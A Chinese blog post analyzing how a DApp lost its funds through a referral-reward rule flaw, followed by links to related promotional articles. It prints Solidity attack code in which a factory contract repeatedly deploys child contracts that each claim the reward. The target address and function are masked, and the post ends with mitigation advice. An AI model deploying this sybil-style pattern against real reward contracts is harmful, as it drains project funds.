震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

简介: 震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

背景:

今天的分析的是链上一个土狗项目由于规则设计漏洞、致使资金全部损失的案例、近期这个项目也是圈内很火、今天看到了,就趁周末有时间从技术的角度,分析黑客如何利用链上部署的合约,进而干废项目方。

今天说的这个,不是技术漏洞bug、是规则设计漏洞。

说到这里可能有同学就说了、我合约不开源、他怎么发现我的漏洞的、怎么攻击我的、这里可以直接告诉你、不开源不代表安全、只是增加了黑客的一点点成本而已。

攻击源代码

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract ChildContract {
    // 定义合约
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // 子合约的代码...
    function fun(address orderAdress) public {
        // 调用远程合约的*****function方法
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}
// 工厂合约定义
contract FactoryContract {
    address[] public childrenContracts; // 存储所有子合约地址的数组
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // 创建新的子合约实例
        address childAddr = address(child); // 获取子合约的地址
        childrenContracts.push(orderAdress); // 将子合约地址存入数组
        child.fun(orderAdress);
        }
    }
}

案例分析

导火索: 项目方里面有个活动、利用首次推荐新用户推荐人下单获得固定奖励、本来一切都是好好的、但是这里就有一个漏洞了。大家都知道链上都是用address 钱包定义用户的、但是合约本质上也是一个特殊的address 、故此当有人核量成本、发现一笔攻击gas能覆盖奖励收益的时候、就开始使用技术手段去攻击了。

接下来我解释一下我演示的demo流程

1、创建一个工厂合约、每次通过fro方式重复new ChildContract 这个每次new 都会得到一个新的合约地址

2、通过ChildContract 内fun 方法,固定去调用项目方函数。

3、项目方接收到调用后,规则验证通过、给推荐地址orderAdress 返一笔。

4、如果FactoryContract .createChild 一直重复调用、项目方很快破产…

5、以下是我写的一个简单的调用demo 的链上记录

打码的不用关注、主要就是告诉你、可行。。。

后期建议优化

  • 业务规则上
    奖励延迟分批释放、比如今天得到奖励、但是后面每天获取多少比例
相关文章
|
2月前
|
安全 区块链
合约跟单系统开发策略指南|技术分析|源码
尽管智能合约具有上述优势,但也有其自身无法获取链外数据的局限性
币圈期现套利策略交易软件开发合约源码定制详情
class Arbitrage: def __init__(self, contracts): self.contracts = contracts self.positions = [] self.current_price = {}
|
算法 数据挖掘 TensorFlow
现货量化合约一键跟单系统开发(开发策略)丨合约现货量化一键跟单系统开发(案例策略)/方案项目/源码平台
  量化交易(Quantitative Trading)是通过数学模型和计算机算法对市场进行分析和预测,And based on this,a trading strategy is developed for investment trading.与传统的基本面分析、技术分析等方法不同,Quantitative trading emphasizes the use of a large amount of data and scientific methods for research,reducing the impact of human factors and improving th
|
9月前
|
安全 区块链
几个步骤带你挑选区块链开发公司 | 区块链开发公司应该如何甄别
区块链开发公司自从去年开始,就开始出现暴增的现象,各行各业因为区块链技术的融入而变得更加便利,因此也深深的吸引了不少行业的人对区块链技术开发的深入研究。现在是区块链技术发展的初期,对于一开始对一项高新技术的促进发展,只能不断引入助力,所以区块链开发公司的监管制度并不是很严格。现在有很多对于区块链开发的需求,但是由于市场上的杂乱现象,还是一直处于观望期,对于如何挑选区块链开发公司,迟迟不敢动身,害怕上当受骗,今天,带你简单的讲解一下成熟的区块链开发公司应该如何甄别。
|
9月前
|
安全 区块链
量化现货合约交易系统开发/量化合约对冲策略系统开发源码搭建
量化现货合约交易系统开发/量化合约对冲策略系统开发源码搭建
|
10月前
|
机器学习/深度学习 数据采集 算法
量化套利合约交易系统模型开发 | 合约量化交易系统源码规则解析
量化套利合约交易系统模型开发 | 合约量化交易系统源码规则解析
|
10月前
|
机器人
合约对冲量化交易策略模型开发 | 合约跟单量化交易软件源码逻辑规则
合约量化最大的好处就是解放交易者,合约量化加快的交易的速度,节省了交易者的时间成本。合约量化机器人其实是合约量化系统的别称。合约量化工具有:合约量化系统、合约量化机器人或者是合约量化社区等待;这一些都是做合约量化用的。
|
11月前
|
存储 NoSQL 区块链
量化现货合约跟单交易软件系统开发(成熟技术)源码部署
我们需要一个全新的概念来定义业已带来的区块链时代,我们需要一个全新的名词来诠释业已到来的区块链时代
|
机器人 Python
现货量化合约跟单系统开发(量化机器人开发案例)丨合约现货量化跟单系统开发(开发策略)/案例项目/程序源码
 “量化交易”有着两层含义:一是从狭义上来讲,是指量化交易的内容,将交易条件转变成为程序,自动下单;二是从广义上来讲,是指系统交易方法,就是一个整合的交易系统。即为根据一系列交易条件,智能化辅助决策体系,Combine rich professional experience with trading conditions to manage and control risks during the trading process.
|
区块链
区块链游戏质押挖矿系统开发规则源码解析
区块链游戏质押挖矿系统开发规则源码解析